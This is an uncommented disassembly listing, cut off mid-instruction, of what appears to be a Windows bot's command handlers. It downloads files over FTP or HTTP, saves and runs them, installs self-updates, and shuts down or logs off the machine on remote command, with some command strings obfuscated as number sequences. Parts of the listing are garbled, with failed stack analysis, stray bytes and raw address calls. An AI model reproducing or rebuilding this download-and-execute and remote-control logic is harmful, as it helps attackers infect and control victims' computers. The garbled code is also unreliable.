--------------------------------------------------------------------------- loc_41CE0E: ; CODE XREF: sub_41C710+6F1j xor edi, edi loc_41CE10: ; CODE XREF: sub_41C710+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CE9B: ; CODE XREF: sub_41C710+5FCj lea ecx, [ebp+118h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D040 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CFB3 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CFB5 ; --------------------------------------------------------------------------- loc_41CFB3: ; CODE XREF: sub_41C710+896j xor edi, edi loc_41CFB5: ; CODE XREF: sub_41C710+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41D040: ; CODE XREF: sub_41C710+7A1j lea ecx, [ebp+0EAh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D2A1 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016B8 push offset word_44955A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D1EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41D1EC: ; CODE XREF: sub_41C710+A64j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D214 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41D216 ; --------------------------------------------------------------------------- loc_41D214: ; CODE XREF: sub_41C710+AF7j xor edi, edi loc_41D216: ; CODE XREF: sub_41C710+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FDC lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FDC lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013DE loc_41D2A1: ; CODE XREF: sub_41C710+116j ; sub_41C710+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D312: ; CODE XREF: sub_41C710+549j ; sub_41C710+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C710 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_401B4Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D640 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D6D0 proc near ; CODE XREF: sub_4014BAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D6D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D6D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D770 proc near ; CODE XREF: sub_4021E9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D830: ; CODE XREF: ___:00401168j ; ___:loc_4019F6j push esi mov esi, ecx call sub_4015CD test byte ptr [esp+8], 1 jz short loc_41D848 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D848: ; CODE XREF: ___:0041D83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D860 proc near ; CODE XREF: sub_4015CDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D860 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D930 proc near ; CODE XREF: sub_401C94j var_48 = dword ptr -48h var_40 = byte ptr -40h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_10C = byte ptr 110h arg_11C = byte ptr 120h arg_12C = byte ptr 130h arg_110C = dword ptr 1110h arg_1110 = byte ptr 1114h arg_112C = dword ptr 1130h arg_1134 = dword ptr 1138h arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43C3F2 push eax mov eax, 1158h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi push offset byte_448F30 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41E035 lea ebx, [esi+65h] push offset byte_448F30 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41E035 lea ecx, [esi+26h] push offset byte_448F30 call sub_4012EE test eax, eax jz loc_41E035 mov al, [esi+91h] test al, al jz short loc_41D9D1 push offset byte_448F30 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D9C4 push offset byte_448F30 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D9D1 loc_41D9C4: ; CODE XREF: sub_41D930+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41E03D ; --------------------------------------------------------------------------- loc_41D9D1: ; CODE XREF: sub_41D930+70j ; sub_41D930+92j push offset asc_444C64 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41DA5E push offset asc_444C64 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016B8 mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41DA6F loc_41DA5E: ; CODE XREF: sub_41D930+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41DA6F: ; CODE XREF: sub_41D930+12Cj push offset asc_444C64 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016B8 lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FDC lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017EE push eax nop call near ptr 2810000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015E1 mov al, [esi+91h] test al, al jz loc_41DC04 call sub_401E1F ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017EE push eax call sub_401A7D ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DB1C lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41E014 ; --------------------------------------------------------------------------- loc_41DB1C: ; CODE XREF: sub_41D930+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017EE push eax lea ecx, [esi+3Bh] call sub_4017EE push eax call sub_402266 add esp, 0Ch test eax, eax jnz short loc_41DB73 lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DB73: ; CODE XREF: sub_41D930+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_4016B3 add esp, 10h test eax, eax jnz short loc_41DBF2 mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DBF2: ; CODE XREF: sub_41D930+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D66 add esp, 4 jmp loc_41DE7B ; --------------------------------------------------------------------------- loc_41DC04: ; CODE XREF: sub_41D930+195j lea ecx, [esp+28h+arg_20] call sub_40142E lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_40142E push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017EE push eax call sub_401AA0 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DC87 lea ecx, [esi+7Ah] call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- db 53h db 90h db 0E8h, 0B7h, 0B9h ; --------------------------------------------------------------------------- imul esi, [ecx-17h], 0BEh loc_41DC87: ; CODE XREF: sub_41D930+310j push ebp mov ecx, edi call sub_4017EE push eax lea ecx, [esi+26h] call sub_4017EE push eax lea edx, [esp+34h+arg_20] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+28h+arg_20] push 0 call sub_4013E3 push eax lea ecx, [esp+30h+arg_20] call sub_4017EE push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017EE push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DD80 mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+38h+var_28] mov [esp+38h+var_28], esi push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+38h+var_1C] mov byte ptr [esp+38h+arg_1134], 3 call sub_401226 lea ecx, [esp+38h+arg_10] mov byte ptr [esp+38h+arg_1134], 2 call sub_401226 lea ecx, [esp+38h+var_4] mov [esp+38h+arg_1134], 0FFFFFFFFh call sub_401226 jmp loc_41E048 ; --------------------------------------------------------------------------- loc_41DD80: ; CODE XREF: sub_41D930+3DBj ; sub_41D930+484j ... mov eax, [esp+38h+var_24] push 0 lea edx, [esp+3Ch+arg_12C] push 1000h push edx push eax call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DDF8 cmp ebp, 1000h jge short loc_41DDB0 mov [esp+ebp+48h+arg_11C], 0 loc_41DDB0: ; CODE XREF: sub_41D930+476j xor edi, edi test ebp, ebp jle short loc_41DD80 loc_41DDB6: ; CODE XREF: sub_41D930+4A5j push 4 lea ecx, [esp+edi+4Ch+arg_11C] push offset asc_444EC8 ; "\r\n\r\n" push ecx call near ptr 77C47A50h nop add esp, 0Ch test eax, eax jz short loc_41DDD9 inc edi cmp edi, ebp jl short loc_41DDB6 jmp short loc_41DD80 ; --------------------------------------------------------------------------- loc_41DDD9: ; CODE XREF: sub_41D930+4A0j add edi, 4 cmp edi, ebp jge short loc_41DDF8 loc_41DDE0: ; CODE XREF: sub_41D930+4C6j movsx edx, [esp+edi+48h+arg_11C] push ebx push edx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DDE0 loc_41DDF8: ; CODE XREF: sub_41D930+46Ej ; sub_41D930+4AEj ... mov edi, [esp+48h+var_34] push 0 lea eax, [esp+4Ch+arg_11C] push 1000h push eax push edi call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DE48 cmp ebp, 1000h jge short loc_41DE28 mov [esp+ebp+58h+arg_10C], 0 loc_41DE28: ; CODE XREF: sub_41D930+4EEj xor edi, edi test ebp, ebp jle short loc_41DDF8 loc_41DE2E: ; CODE XREF: sub_41D930+514j movsx ecx, [esp+edi+58h+arg_10C] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DE2E jmp short loc_41DDF8 ; --------------------------------------------------------------------------- loc_41DE48: ; CODE XREF: sub_41D930+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+5Ch+var_40] mov [esp+5Ch+arg_1110], 3 call sub_401226 lea ecx, [esp+5Ch+var_10] mov [esp+5Ch+arg_1110], 2 call sub_401226 loc_41DE7B: ; CODE XREF: sub_41D930+2CFj mov al, [esi+90h] test al, al jnz loc_41DF17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D8075 call sub_401857 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41E00C push offset byte_448F30 mov ecx, ebp call sub_4017EE push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017EE push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h jmp loc_41E00C ; --------------------------------------------------------------------------- loc_41DF17: ; CODE XREF: sub_41D930+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D8075 call sub_401857 push 0 push 5 push 14h push 1 push 4 push 10h push 15h lea edx, [esp+90h+var_40] push 51h push edx call sub_4019C4 add esp, 3Ch mov ecx, eax mov [esp+5Ch+arg_1110], 5 call sub_4014DD push eax mov ecx, ebx call sub_4014DD push eax call sub_402167 add esp, 8 lea ecx, [esp+5Ch+var_40] mov bl, al mov [esp+5Ch+arg_1110], 2 call sub_401226 test bl, bl jz short loc_41DFE7 mov al, byte_449896 test al, al jz short loc_41DFB6 push offset dword_449834 mov ecx, offset dword_44AD70 call sub_401451 loc_41DFB6: ; CODE XREF: sub_41D930+675j mov al, byte_4498DF test al, al jz short loc_41DFCE push offset byte_44990F mov ecx, offset dword_44AD70 call sub_401951 loc_41DFCE: ; CODE XREF: sub_41D930+68Dj mov ecx, offset dword_44AD70 call sub_401E79 push 1 mov byte_4E8E44, 0 nop call near ptr 77C39E7Eh loc_41DFE7: ; CODE XREF: sub_41D930+66Cj mov ecx, edi call sub_4014DD mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 loc_41E00C: ; CODE XREF: sub_41D930+597j ; sub_41D930+5E2j mov [esp+60h+var_48], esi lea edx, [esp+60h+var_48] loc_41E014: ; CODE XREF: sub_41D930+1E7j push edx loc_41E015: ; CODE XREF: sub_41D930+23Ej ; sub_41D930+2BDj mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_2C] mov [esp+60h+arg_110C], 0FFFFFFFFh call sub_401226 jmp short loc_41E048 ; --------------------------------------------------------------------------- loc_41E035: ; CODE XREF: sub_41D930+36j ; sub_41D930+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41E03D: ; CODE XREF: sub_41D930+9Cj push eax mov ecx, offset byte_4E8E9B call sub_40120D sub_41D930 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D930 loc_41E048: ; CODE XREF: sub_41D930+44Bj ; sub_41D930+703j mov ecx, [esp+38h+arg_112C] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D930 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E240 proc near ; CODE XREF: sub_401BA4j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E240 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41E240 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E3C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E41B push offset dword_444FCC lea ecx, [edi+69h] call sub_40168B mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 6 nop call near ptr 28D0000h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E41B: ; CODE XREF: ___:0041E3DEj lea ecx, [esi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E46A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_40168B mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 5 call near ptr 28D0000h nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E46A: ; CODE XREF: ___:0041E42Dj lea ecx, [esi+60h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E4B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_40168B mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 4 nop call near ptr 28D0000h loc_41E4B1: ; CODE XREF: ___:0041E47Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E500 proc near ; CODE XREF: sub_401F7Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E500 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41E500 endp ; --------------------------------------------------------------------------- or edi, 